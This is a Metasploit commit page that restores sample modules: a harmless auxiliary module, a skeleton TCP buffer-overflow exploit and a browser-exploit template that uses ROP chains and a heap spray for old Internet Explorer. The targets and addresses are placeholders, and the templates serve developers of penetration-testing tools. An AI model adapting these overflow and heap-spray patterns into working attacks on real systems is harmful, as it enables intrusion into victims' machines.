Skip to content

Commit 3b248c7

Browse files
author
Brent Cook
committed
resurrect old example modules, integrate into module tree
1 parent 47a659f commit 3b248c7

File tree

7 files changed

+288
-6
lines changed

7 files changed

+288
-6
lines changed

lib/msf/core/modules/loader/base.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -173,7 +173,8 @@ def load_module(parent_path, type, module_reference_name, options={})
173173
true
174174
}
175175

176-
loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload, &try_eval_module)
176+
loaded = namespace_module_transaction(type + "/" + module_reference_name,
177+
:reload => reload, &try_eval_module)
177178
unless loaded
178179
return false
179180
end

lib/msf/core/modules/loader/directory.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,11 @@ def loadable?(path)
2828
def each_module_reference_name(path, opts={})
2929
whitelist = opts[:whitelist] || []
3030
::Dir.foreach(path) do |entry|
31+
3132
full_entry_path = ::File.join(path, entry)
3233
type = entry.singularize
3334

34-
unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
35-
next
36-
end
35+
next unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
3736

3837
full_entry_pathname = Pathname.new(full_entry_path)
3938

@@ -43,6 +42,7 @@ def each_module_reference_name(path, opts={})
4342
entry_descendant_pathname = Pathname.new(entry_descendant_path)
4443
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
4544
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
45+
next if File::basename(relative_entry_descendant_path) == "example.rb"
4646

4747
# The module_reference_name doesn't have a file extension
4848
module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)

modules/auxiliary/example.rb

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This sample auxiliary module simply displays the selected action and
9+
# registers a custom command that will show up when the module is used.
10+
#
11+
###
12+
class MetasploitModule < Msf::Auxiliary
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Sample Auxiliary Module',
17+
# The description can be multiple lines, but does not preserve formatting.
18+
'Description' => 'Sample Auxiliary Module',
19+
'Author' => ['Joe Module <[email protected]>'],
20+
'License' => MSF_LICENSE,
21+
'Actions' =>
22+
[
23+
['Default Action'],
24+
['Another Action']
25+
]
26+
))
27+
28+
end
29+
30+
def run
31+
print_status("Running the simple auxiliary module with action #{action.name}")
32+
end
33+
34+
# auxiliary modules can register new commands, they all call cmd_* to
35+
# dispatch them
36+
def auxiliary_commands
37+
return { "aux_extra_command" => "Run this auxiliary test commmand" }
38+
end
39+
40+
def cmd_aux_extra_command(*args)
41+
print_status("Running inside aux_extra_command(#{args.join(" ")})")
42+
end
43+
44+
end

modules/exploits/example.rb

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This exploit sample shows how an exploit module could be written to exploit
9+
# a bug in an arbitrary TCP server.
10+
#
11+
###
12+
class MetasploitModule < Msf::Exploit::Remote
13+
Rank = NormalRanking
14+
15+
#
16+
# This exploit affects TCP servers, so we use the TCP client mixin.
17+
# See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
18+
# vulnerable target program.
19+
#
20+
include Exploit::Remote::Tcp
21+
22+
def initialize(info = {})
23+
super(update_info(info,
24+
# The Name should be just like the line of a Git commit - software name,
25+
# vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
26+
# some search optimization so people can actually find the module.
27+
# We encourage consistency between module name and file name.
28+
'Name' => 'Sample Exploit',
29+
'Description' => %q{
30+
This exploit module illustrates how a vulnerability could be exploited
31+
in an TCP server that has a parsing bug.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' => ['skape'],
35+
'References' =>
36+
[
37+
[ 'OSVDB', '12345' ],
38+
[ 'EDB', '12345' ],
39+
[ 'URL', 'http://www.example.com'],
40+
[ 'CVE', '1978-1234'],
41+
],
42+
'Payload' =>
43+
{
44+
'Space' => 1000,
45+
'BadChars' => "\x00",
46+
},
47+
'Targets' =>
48+
[
49+
# Target 0: Windows All
50+
[
51+
'Windows XP/Vista/7/8',
52+
{
53+
'Platform' => 'win',
54+
'Ret' => 0x41424344
55+
}
56+
],
57+
],
58+
'DisclosureDate' => "Apr 1 2013",
59+
# Note that this is by index, rather than name. It's generally easiest
60+
# just to put the default at the beginning of the list and skip this
61+
# entirely.
62+
'DefaultTarget' => 0))
63+
end
64+
65+
#
66+
# The sample exploit just indicates that the remote host is always
67+
# vulnerable.
68+
#
69+
def check
70+
Exploit::CheckCode::Vulnerable
71+
end
72+
73+
#
74+
# The exploit method connects to the remote service and sends 1024 random bytes
75+
# followed by the fake return address and then the payload.
76+
#
77+
def exploit
78+
connect
79+
80+
print_status("Sending #{payload.encoded.length} byte payload...")
81+
82+
# Build the buffer for transmission
83+
buf = rand_text_alpha(1024)
84+
buf << [ target.ret ].pack('V')
85+
buf << payload.encoded
86+
87+
# Send it off
88+
sock.put(buf)
89+
sock.get_once
90+
91+
handler
92+
end
93+
94+
end
95+
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This exploit sample demonstrates how a typical browser exploit is written using commonly
9+
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
10+
#
11+
###
12+
class MetasploitModule < Msf::Exploit::Remote
13+
Rank = NormalRanking
14+
15+
include Msf::Exploit::Remote::HttpServer::HTML
16+
include Msf::Exploit::RopDb
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
19+
# Set :classid and :method for ActiveX exploits. For example:
20+
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
21+
# :method => "SetShapeNodeType",
22+
autopwn_info({
23+
:ua_name => HttpClients::IE,
24+
:ua_minver => "8.0",
25+
:ua_maxver => "10.0",
26+
:javascript => true,
27+
:os_name => OperatingSystems::Match::WINDOWS,
28+
:rank => NormalRanking
29+
})
30+
31+
def initialize(info={})
32+
super(update_info(info,
33+
'Name' => "Module Name",
34+
'Description' => %q{
35+
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
36+
the browser version. Please note IE8 and newer may emulate an older IE version
37+
in compatibility mode, in that case the module won't be able to detect the
38+
browser correctly.
39+
},
40+
'License' => MSF_LICENSE,
41+
'Author' => [ 'sinn3r' ],
42+
'References' =>
43+
[
44+
[ 'URL', 'http://metasploit.com' ]
45+
],
46+
'Platform' => 'win',
47+
'Targets' =>
48+
[
49+
[ 'Automatic', {} ],
50+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
51+
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
52+
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
53+
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
54+
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
55+
],
56+
'Payload' =>
57+
{
58+
'BadChars' => "\x00", # js_property_spray
59+
'StackAdjustment' => -3500
60+
},
61+
'Privileged' => false,
62+
'DisclosureDate' => "Apr 1 2013",
63+
'DefaultTarget' => 0))
64+
end
65+
66+
def get_target(agent)
67+
return target if target.name != 'Automatic'
68+
69+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
70+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
71+
72+
ie_name = "IE #{ie}"
73+
74+
case nt
75+
when '5.1'
76+
os_name = 'Windows XP SP3'
77+
when '6.0'
78+
os_name = 'Windows Vista'
79+
when '6.1'
80+
os_name = 'Windows 7'
81+
when '6.2'
82+
os_name = 'Windows 8'
83+
when '6.3'
84+
os_name = 'Windows 8.1'
85+
end
86+
87+
targets.each do |t|
88+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
89+
return t
90+
end
91+
end
92+
93+
nil
94+
end
95+
96+
def get_payload(t)
97+
stack_pivot = "\x41\x42\x43\x44"
98+
code = payload.encoded
99+
100+
case t['Rop']
101+
when :msvcrt
102+
print_status("Using msvcrt ROP")
103+
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
104+
105+
else
106+
print_status("Using JRE ROP")
107+
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
108+
end
109+
110+
rop_payload
111+
end
112+
113+
114+
def get_html(t)
115+
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
116+
html = %Q|
117+
<script>
118+
#{js_property_spray}
119+
120+
var s = unescape("#{js_p}");
121+
sprayHeap({shellcode:s});
122+
</script>
123+
|
124+
125+
html.gsub(/^\t\t/, '')
126+
end
127+
128+
129+
def on_request_uri(cli, request)
130+
agent = request.headers['User-Agent']
131+
print_status("Requesting: #{request.uri}")
132+
133+
target = get_target(agent)
134+
if target.nil?
135+
print_error("Browser not supported, sending 404: #{agent}")
136+
send_not_found(cli)
137+
return
138+
end
139+
140+
print_status("Target selected as: #{target.name}")
141+
html = get_html(target)
142+
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
143+
end
144+
end

modules/exploits/windows/http/dupscts_bof.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = GreatRanking
108

0 commit comments

Comments
 (0)